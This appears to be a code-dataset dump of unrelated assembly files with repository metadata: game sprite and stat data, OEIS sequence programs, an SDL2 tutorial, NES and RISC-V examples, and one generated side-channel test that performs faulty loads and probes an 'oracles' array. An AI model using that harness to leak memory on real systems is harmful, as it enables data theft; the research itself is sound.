_maps/SLZ Circling Platform.asm
kodishmediacenter/msu-md-sonic
3aa7c5e8add9660df2cd0eceaa214e7d59f2415c
[ "CC0-1.0" ]
2
2021-01-14T13:14:26.000Z
2021-01-29T17:46:04.000Z
; --------------------------------------------------------------------------- ; Sprite mappings - platforms that move in circles (SLZ) ; --------------------------------------------------------------------------- Map_Circ_internal: dc.w @platform-Map_Circ_internal @platform: dc.b 2 dc.b $F8, 9, 0, $51, $E8 dc.b $F8, 9, 8, $51, 0 even
38.111111
77
0.364431
d8cd5cd75aaa607105dad81bb18074141991bf7a
140
asm
Assembly
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/___fsmul_callee.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/___fsmul_callee.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sdcc/___fsmul_callee.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_fp_am9511 PUBLIC ___fsmul_callee EXTERN cam32_sdcc_fmul_callee defc ___fsmul_callee = cam32_sdcc_fmul_callee
20
49
0.792857
3104e5970a89ededb0b57e4a6a0b79d054803a3a
594
asm
Assembly
programs/oeis/067/A067994.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/067/A067994.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/067/A067994.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A067994: Hermite numbers. ; 1,0,-2,0,12,0,-120,0,1680,0,-30240,0,665280,0,-17297280,0,518918400,0,-17643225600,0,670442572800,0,-28158588057600,0,1295295050649600,0,-64764752532480000,0,3497296636753920000,0,-202843204931727360000,0,12576278705767096320000,0,-830034394580628357120000,0,58102407620643984998400000,0,-4299578163927654889881600000,0,335367096786357081410764800000,0,-27500101936481280675682713600000,0,2365008766537390138108713369600000,0,-212850788988365112429784203264000000,0 add $0,1 mov $1,1 lpb $0 sub $0,2 mul $1,2 mov $3,$2 sub $3,$0 mul $1,$3 lpe mov $0,$1
42.428571
467
0.79798
025bcd56b19b44295e6e109d02f10fa3557a93fe
553
asm
Assembly
data/baseStats/cloyster.asm
etdv-thevoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
1
2022-01-09T05:28:52.000Z
2022-01-09T05:28:52.000Z
data/baseStats/cloyster.asm
ETDV-TheVoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
null
null
null
data/baseStats/cloyster.asm
ETDV-TheVoid/pokemon-rgb-enhanced
5b244c1cf46aab98b9c820d1b7888814eb7fa53f
[ "MIT" ]
null
null
null
db CLOYSTER ; pokedex id db 50 ; base hp db 95 ; base attack db 180 ; base defense db 70 ; base speed db 85 ; base special db WATER ; species type 1 db ICE ; species type 2 db 60 ; catch rate db 203 ; base exp yield INCBIN "pic/gsmon/cloyster.pic",0,1 ; 77, sprite dimensions dw CloysterPicFront dw CloysterPicBack ; attacks known at lvl 0 db SUPERSONIC db CLAMP db BARRIER db 0 db 5 ; growth rate ; learnset tmlearn 6 tmlearn 9,10,11,13,14,15 tmlearn 20 tmlearn 31,32 tmlearn 33,34,36,39 tmlearn 44,47 tmlearn 49,50,53 db BANK(CloysterPicFront)
19.068966
59
0.74141
921cfe3d9206241204a10a0baa51c34059982bb7
452
asm
Assembly
programs/oeis/027/A027981.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/027/A027981.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/027/A027981.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A027981: Sum{(k+1)*T(n,k)}, 0<=k<=2n, T given by A027960. ; 1,10,40,124,340,868,2116,4996,11524,26116,58372,129028,282628,614404,1327108,2850820,6094852,12976132,27525124,58195972,122683396,257949700,541065220,1132462084,2365587460,4932501508,10267656196 mov $2,$0 sub $0,1 add $0,$2 mov $1,2 mov $3,2 pow $3,$2 mov $4,$3 mov $3,0 lpb $0 add $3,120 mul $4,$0 mov $0,0 add $4,$3 add $1,$4 lpe mul $1,3 sub $1,363 div $1,3 mul $1,3 add $1,1
18.833333
196
0.670354
f5d08ca6cac906b04b417ed4a579ae117cbe6446
4,223
asm
Assembly
35_Window_Events/main.asm
DebugBSD/SDLExamples
11bc1b1e25524390ff2c86e412d5adbed5e5cee7
[ "BSD-3-Clause" ]
3
2021-01-25T07:39:16.000Z
2021-07-15T05:20:32.000Z
35_Window_Events/main.asm
NrdyBhu1/SDLExamples
11bc1b1e25524390ff2c86e412d5adbed5e5cee7
[ "BSD-3-Clause" ]
null
null
null
35_Window_Events/main.asm
NrdyBhu1/SDLExamples
11bc1b1e25524390ff2c86e412d5adbed5e5cee7
[ "BSD-3-Clause" ]
2
2021-01-25T07:39:17.000Z
2021-07-15T05:21:35.000Z
; ML64 template file ; Compile: uasm64.exe -nologo -win64 -Zd -Zi -c testUasm.asm ; Link: link /nologo /debug /subsystem:console /entry:main testUasm.obj user32.lib kernel32.lib OPTION WIN64:8 ; Include libraries includelib SDL2.lib includelib SDL2main.lib includelib SDL2_image.lib includelib SDL2_ttf.lib includelib SDL2_mixer.lib ; Include files include main.inc include SDL.inc include SDL_image.inc include SDL_ttf.inc include SDL_mixer.inc ; include Code files include LWindow.asm include LTexture.asm include LButton.asm include LTimer.asm include Dot.asm Init proto Shutdown proto LoadMedia proto LoadTexture proto :QWORD StringCopy proto :PTR BYTE, :PTR BYTE StringConcat proto :PTR BYTE, :PTR BYTE UpdateCamera proto :PTR SDL_Rect, :DWORD, :DWORD, :DWORD, :DWORD StringLength proto :PTR BYTE .const ; The dimensions of the level LEVEL_WIDTH = 1280 LEVEL_HEIGHT = 960 ; Screen dimensions SCREEN_WIDTH = 640 SCREEN_HEIGHT = 480 TOTAL_DATA = 10 ; Values to rotate the sprite WINDOW_TITLE BYTE "SDL Tutorial",0 WINDOW_IMAGE BYTE "Res/window.png",0 .data quit BYTE 0 gWindow LWindow <0,0,0,0,0,0,0> .data? pWindow QWORD ? eventHandler SDL_Event <> gRenderer QWORD ? gSceneTexture LTexture <> .code main proc finit ; Alloc our memory for our objects, starts SDL, ... invoke Init .if rax==0 invoke ExitProcess, EXIT_FAILURE .endif invoke LoadMedia ; Gameloop .while quit!=1 ; Process input invoke SDL_PollEvent, addr eventHandler .while rax!=0 .if eventHandler.type_ == SDL_EVENTQUIT mov quit, 1 .endif invoke LWindow_handleEvent, addr gWindow, addr eventHandler invoke SDL_PollEvent, addr eventHandler .endw ; Update the game ; Process output ; Clear screen invoke SDL_SetRenderDrawColor, gRenderer, 0FFh, 0FFh, 0FFh, 0FFh invoke SDL_RenderClear, gRenderer mov eax, gWindow.m_Width sub eax, gSceneTexture.m_Width shr eax, 1 mov ebx, gWindow.m_Height sub ebx, gSceneTexture.m_Height shr ebx, 1 invoke renderTexture, gRenderer, addr gSceneTexture, eax, ebx, 0, 0, 0, 0 ; Update the window invoke SDL_RenderPresent,gRenderer .endw invoke SDL_DestroyWindow, pWindow ; Clean our allocated memory, shutdown SDL, ... invoke Shutdown invoke ExitProcess, EXIT_SUCCESS ret main endp Init proc finit ; Starts the FPU invoke SDL_Init, SDL_INIT_VIDEO OR SDL_INIT_AUDIO .if rax<0 xor rax, rax jmp EXIT .endif invoke LWindow_init, addr gWindow .if rax==0 jmp EXIT .endif ; Create the renderer invoke LWindow_createRenderer, addr gWindow .if rax==0 jmp EXIT .endif mov gRenderer, rax ; Initialize renderer color invoke SDL_SetRenderDrawColor, gRenderer, 0FFh, 0FFH, 0FFH, 0FFH ; Init PNG image format invoke IMG_Init, IMG_INIT_PNG and rax, IMG_INIT_PNG .if rax!=IMG_INIT_PNG xor rax, rax jmp EXIT .endif ; Init Font module invoke TTF_Init .if rax==-1 xor rax, rax jmp EXIT .endif ; Init Mixer module invoke Mix_OpenAudio, 44100, MIX_DEFAULT_FORMAT, 2, 2048 .if rax<0 xor rax, rax jmp EXIT .endif mov rax, 1 EXIT: ret Init endp Shutdown proc ; Clean all data textures invoke freeTexture, addr gSceneTexture invoke SDL_DestroyRenderer, gRenderer invoke SDL_DestroyWindow, pWindow invoke TTF_Quit invoke IMG_Quit invoke SDL_Quit ret Shutdown endp LoadMedia PROC LOCAL success:BYTE mov success, 1 invoke loadTextureFromFile, gRenderer, addr gSceneTexture, addr WINDOW_IMAGE EXIT: ret LoadMedia endp StringConcat proc uses rsi rdi, pDst:PTR BYTE, pSrc:PTR BYTE cld mov rsi, pSrc mov rdi, pDst .while BYTE PTR [rdi] != 0 inc rdi .endw .while BYTE PTR [rsi] != 0 movsb .endw mov BYTE PTR [rdi], 0 ; Mark end of string ret StringConcat endp StringCopy proc uses rsi rdi, pDst:PTR BYTE, pSrc:PTR BYTE cld mov rsi, pSrc mov rdi, pDst .while BYTE PTR [rsi] != 0 movsb .endw mov BYTE PTR [rdi], 0 ; Mark end of string ret StringCopy endp StringLength proc uses rsi, pSrc:PTR BYTE xor rax, rax mov rsi, pSrc .while BYTE PTR [rsi] != 0 inc rsi inc rax .endw ret StringLength endp END ; vim options: ts=2 sw=2
17.450413
96
0.722472
063b8b4e0432c7f93e44c3120c93f9f7add49676
1,526
asm
Assembly
src/data.asm
harraps/Simple-NES-Game
ecbdfa9f193b133260e3bfa429d2e55d3d028b5b
[ "MIT" ]
null
null
null
src/data.asm
harraps/Simple-NES-Game
ecbdfa9f193b133260e3bfa429d2e55d3d028b5b
[ "MIT" ]
null
null
null
src/data.asm
harraps/Simple-NES-Game
ecbdfa9f193b133260e3bfa429d2e55d3d028b5b
[ "MIT" ]
null
null
null
; ====== ; BANK 1 ; ====== ; add three interrupts in bank 1 .bank 1 .org $e000 ; ============ ; PALETTE DATA ; ============ ; define colors of palettes pal_data: ; sprite palette: .byte $0f,$0c,$16,$30 ; 0: marine .byte $0f,$08,$2a,$38 ; 1: jungle .byte $0f,$07,$2d,$3d ; 2: rust .byte $0f,$11,$23,$34 ; 3: aesthetic ; background palette: .byte $0f,$0c,$16,$30 ; 0: marine .byte $0f,$08,$2a,$38 ; 1: jungle .byte $0f,$07,$2d,$3d ; 2: rust .byte $0f,$11,$23,$34 ; 3: aesthetic ; =========== ; SPRITE DATA ; =========== ; define sprites animations spr_data: .byte CENTER_Y,$32,%00000001,CENTER_X ; sprite 0 .byte CENTER_Y,$33,%00000001,CENTER_X ; sprite 1 .byte CENTER_Y,$42,%00000001,CENTER_X ; sprite 2 .byte CENTER_Y,$43,%00000001,CENTER_X ; sprite 3 .byte CENTER_Y,$32,%00000010,CENTER_X ; sprite 4 .byte CENTER_Y,$33,%00000010,CENTER_X ; sprite 5 .byte CENTER_Y,$42,%00000010,CENTER_X ; sprite 6 .byte CENTER_Y,$43,%00000010,CENTER_X ; sprite 7 ; other data can be defined here .org $fffA .word NMI ; location of NMI Interrupt .word RESET ; code to run at reset (LABEL defined in bank 0) .word 0 ; location of VBlank Interrupt ; ====== ; BANK 2 ; ====== ; add picture data in bank 2 .bank 2 .org $0000 .incbin "data/mario.chr" ; test sprite sheet ; .incbin "data/foreground.chr" ; load foreground picture data ($0000) ; .incbin "data/background.chr" ; load background picture data ($1000)
28.259259
74
0.598952
34df005febe42a538dfa3d9baac6a4ab146f7d9e
329
asm
Assembly
programs/oeis/096/A096941.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/096/A096941.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/096/A096941.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A096941: Fourth column of (1,5)-Pascal triangle A096940. ; 5,16,34,60,95,140,196,264,345,440,550,676,819,980,1160,1360,1581,1824,2090,2380,2695,3036,3404,3800,4225,4680,5166,5684,6235,6820,7440,8096,8789,9520,10290,11100,11951,12844,13780,14760,15785,16856,17974,19140 add $0,2 mov $1,13 add $1,$0 bin $0,2 mul $0,$1 div $0,3
32.9
211
0.732523
d411af21584c3ede142d1f6f401afccdbc0f36d2
317
asm
Assembly
programs/oeis/054/A054900.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/054/A054900.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/054/A054900.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A054900: (n) = floor(n/16) + floor(n/256) + floor(n/4096) + floor(n/65536) + .... ; 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,6,6,6,6,6,6,6,6,6 mov $1,$0 div $1,16
52.833333
211
0.511041
6decc6a8253e8816582b682f0cc0a89dccb77c90
1,335
asm
Assembly
programs/oeis/301/A301628.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/301/A301628.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/301/A301628.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A301628: Numbers not divisible by 2, 3 or 5 (A007775) with digital root 7. ; 7,43,61,79,97,133,151,169,187,223,241,259,277,313,331,349,367,403,421,439,457,493,511,529,547,583,601,619,637,673,691,709,727,763,781,799,817,853,871,889,907,943,961,979,997,1033,1051,1069,1087,1123,1141,1159,1177,1213,1231,1249,1267,1303,1321,1339,1357,1393,1411,1429,1447,1483,1501,1519,1537,1573,1591,1609,1627,1663,1681,1699,1717,1753,1771,1789,1807,1843,1861,1879,1897,1933,1951,1969,1987,2023,2041,2059,2077,2113,2131,2149,2167,2203,2221,2239,2257,2293,2311,2329,2347,2383,2401,2419,2437,2473,2491,2509,2527,2563,2581,2599,2617,2653,2671,2689,2707,2743,2761,2779,2797,2833,2851,2869,2887,2923,2941,2959,2977,3013,3031,3049,3067,3103,3121,3139,3157,3193,3211,3229,3247,3283,3301,3319,3337,3373,3391,3409,3427,3463,3481,3499,3517,3553,3571,3589,3607,3643,3661,3679,3697,3733,3751,3769,3787,3823,3841,3859,3877,3913,3931,3949,3967,4003,4021,4039,4057,4093,4111,4129,4147,4183,4201,4219,4237,4273,4291,4309,4327,4363,4381,4399,4417,4453,4471,4489,4507,4543,4561,4579,4597,4633,4651,4669,4687,4723,4741,4759,4777,4813,4831,4849,4867,4903,4921,4939,4957,4993,5011,5029,5047,5083,5101,5119,5137,5173,5191,5209,5227,5263,5281,5299,5317,5353,5371,5389,5407,5443,5461,5479,5497,5533,5551,5569,5587,5623 mov $1,5 mul $1,$0 add $1,3 div $1,4 mul $1,18 add $1,7
133.5
1,200
0.77603
f5ad5aa31e87128b5eb3001b311a1a2c4d08208d
663
asm
Assembly
oeis/206/A206423.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/206/A206423.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/206/A206423.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A206423: Fibonacci sequence beginning 12, 7. ; Submitted by Jamie Morken(s4) ; 12,7,19,26,45,71,116,187,303,490,793,1283,2076,3359,5435,8794,14229,23023,37252,60275,97527,157802,255329,413131,668460,1081591,1750051,2831642,4581693,7413335,11995028,19408363,31403391,50811754,82215145,133026899,215242044,348268943,563510987,911779930,1475290917,2387070847,3862361764,6249432611,10111794375,16361226986,26473021361,42834248347,69307269708,112141518055,181448787763,293590305818,475039093581,768629399399,1243668492980,2012297892379,3255966385359,5268264277738,8524230663097 mov $1,7 mov $2,12 lpb $0 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe mov $0,$2
47.357143
495
0.811463
8d55bed75cff2727036679ce679d5c8206b0b0e6
786
asm
Assembly
examples/example.asm
NickHerrig/bronzebeard
8b8d67ae3f9761f04b9b59662d9909f64eecd2b7
[ "MIT" ]
null
null
null
examples/example.asm
NickHerrig/bronzebeard
8b8d67ae3f9761f04b9b59662d9909f64eecd2b7
[ "MIT" ]
null
null
null
examples/example.asm
NickHerrig/bronzebeard
8b8d67ae3f9761f04b9b59662d9909f64eecd2b7
[ "MIT" ]
null
null
null
# constants FOO = 42 BAR = FOO * 2 ADDR = 0x20000000 # basic labels, jumping, and branching start: addi t0, zero, BAR jal zero, end middle: beq t0, zero, main addi t0, t0, -1 end: jal zero, %offset(middle) # string literals string hello string world string hello world string hello world # same as above, whitespace gets compressed by the lexer # bytes literals bytes 1 2 0x03 0b100 5 0x06 0b111 8 # packed values pack <B, 0 pack <B, 255 pack <I, ADDR pack <f, 3.14159 # align to 4-byte (32-bit) boundary align 4 main: # without nestable exprs under hi / lo lui t0, %hi(ADDR) addi t0, t0, %lo(ADDR) addi t0, t0, main # with nestable exprs under hi / lo lui t0, %hi(%position(main, ADDR)) addi t0, t0, %lo(%position(main, ADDR))
18.27907
78
0.659033
6002e85b617dfdb0f5aed4718e6a5170f7ceb57d
290
asm
Assembly
data/mapObjects/ssanne7.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
data/mapObjects/ssanne7.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
data/mapObjects/ssanne7.asm
adhi-thirumala/EvoYellow
6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
SSAnne7Object: db $c ; border block db $1 ; warps db $7, $0, $8, SS_ANNE_2 db $2 ; signs db $1, $4, $2 ; SSAnne7Text2 db $2, $1, $3 ; SSAnne7Text3 db $1 ; objects object SPRITE_SS_CAPTAIN, $4, $2, STAY, UP, $1 ; person ; warp-to EVENT_DISP SS_ANNE_7_WIDTH, $7, $0 ; SS_ANNE_2
18.125
56
0.624138
96bddc071f5456c83e9bf32b13f66b9be217307c
565
asm
Assembly
oeis/198/A198764.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/198/A198764.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/198/A198764.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A198764: 6*5^n-1. ; 5,29,149,749,3749,18749,93749,468749,2343749,11718749,58593749,292968749,1464843749,7324218749,36621093749,183105468749,915527343749,4577636718749,22888183593749,114440917968749,572204589843749,2861022949218749,14305114746093749,71525573730468749,357627868652343749,1788139343261718749,8940696716308593749,44703483581542968749,223517417907714843749,1117587089538574218749,5587935447692871093749,27939677238464355468749,139698386192321777343749,698491930961608886718749,3492459654808044433593749 mov $1,5 pow $1,$0 mul $1,6 sub $1,1 mov $0,$1
62.777778
496
0.877876
d8fd3ff864c2f4c8897544ea83a009383773812e
3,672
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_45_631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_45_631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_45_631.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x1d96, %rcx sub %rdx, %rdx mov (%rcx), %eax nop nop cmp $19683, %rdx lea addresses_normal_ht+0x3112, %rsi lea addresses_WC_ht+0xce94, %rdi nop nop nop nop nop cmp $19947, %r14 mov $39, %rcx rep movsb nop xor %rcx, %rcx lea addresses_WT_ht+0xb696, %rdx nop nop nop nop add $62514, %r12 mov (%rdx), %rsi nop nop nop nop inc %rdi lea addresses_UC_ht+0x17d96, %rsi lea addresses_WC_ht+0x65d6, %rdi nop cmp $38417, %rdx mov $26, %rcx rep movsl nop add $34739, %rdi lea addresses_WC_ht+0x1634e, %r14 sub %rsi, %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm7 and $0xffffffffffffffc0, %r14 movaps %xmm7, (%r14) cmp $44666, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi // Store lea addresses_WT+0x12796, %rdi nop nop nop sub $4764, %r14 movw $0x5152, (%rdi) nop lfence // Store lea addresses_normal+0xb53, %r11 nop nop nop nop xor %r12, %r12 movl $0x51525354, (%r11) nop nop nop sub $10894, %r14 // Store lea addresses_PSE+0x1d896, %r12 nop nop nop nop cmp %r13, %r13 mov $0x5152535455565758, %rdi movq %rdi, (%r12) nop nop xor $60456, %rdi // REPMOV mov $0x4064c000000031e, %rsi lea addresses_normal+0x1e96, %rdi clflush (%rdi) nop xor %r14, %r14 mov $78, %rcx rep movsb nop and %r14, %r14 // Load lea addresses_RW+0xb442, %rdi xor %rsi, %rsi vmovups (%rdi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rcx nop nop nop nop and %rsi, %rsi // Faulty Load lea addresses_normal+0x1e96, %r15 nop nop cmp %r14, %r14 mov (%r15), %di lea oracles, %r15 and $0xff, %rdi shlq $12, %rdi mov (%r15,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_NC', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 0, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'00': 45} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
20.863636
152
0.650327
835d33da9b5d28c34588438936b3bc8a224acf69
3,009
asm
Assembly
ugbc/src/hw/6502/number_to_string.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
null
null
null
ugbc/src/hw/6502/number_to_string.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
3
2021-11-27T14:19:16.000Z
2021-12-21T14:44:50.000Z
ugbc/src/hw/6502/number_to_string.asm
Samuel-DEVULDER/ugbasic
61971d500d2290512fbdd3d7e487806bc34f617d
[ "Apache-2.0" ]
null
null
null
; /***************************************************************************** ; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ; ***************************************************************************** ; * Copyright 2021 Marco Spedaletti (asimov@mclink.it) ; * ; * Licensed under the Apache License, Version 2.0 (the "License"); ; * you may not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an "AS IS" BASIS, ; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; *---------------------------------------------------------------------------- ; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0 ; * (la "Licenza"); è proibito usare questo file se non in conformità alla ; * Licenza. Una copia della Licenza è disponibile all'indirizzo: ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Se non richiesto dalla legislazione vigente o concordato per iscritto, ; * il software distribuito nei termini della Licenza è distribuito ; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o ; * implicite. Consultare la Licenza per il testo specifico che regola le ; * autorizzazioni e le limitazioni previste dalla medesima. ; ****************************************************************************/ ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ;* * ;* CONVERT A NUMBER TO A STRING * ;* * ;* by Marco Spedaletti * ;* * ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * N2STRING: JSR N2STRINGH2D LDX #9; LDY #0; N2STRINGL1: LDA RESBUFFER,x BNE N2STRINGL2 DEX BNE N2STRINGL1 N2STRINGL2: LDA MATHPTR4 BEQ N2STRINGL2A LDA #'-' STA (TMPPTR),Y INY N2STRINGL2A: LDA RESBUFFER,X ORA #$30 STA (TMPPTR),Y INY DEX BPL N2STRINGL2A JMP N2STRINGEND N2STRINGH2D: LDX #0 N2STRINGL3: JSR N2STRINGDIV10 STA RESBUFFER, X INX CPX #10 BNE N2STRINGL3 RTS N2STRINGDIV10: LDY #32 LDA #0 CLC N2STRINGL4: ROL CMP #10 BCC N2STRINGSSKIP SBC #10 N2STRINGSSKIP: ROL MATHPTR0 ROL MATHPTR1 ROL MATHPTR2 ROL MATHPTR3 DEY BPL N2STRINGL4 RTS N2STRINGEND: TYA STA MATHPTR5 RTS RESBUFFER: .RES 10
32.706522
80
0.49651
2d85d5e42d6bee588ced25cbb5551e459bd2cadf
1,301
asm
Assembly
programs/oeis/199/A199910.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
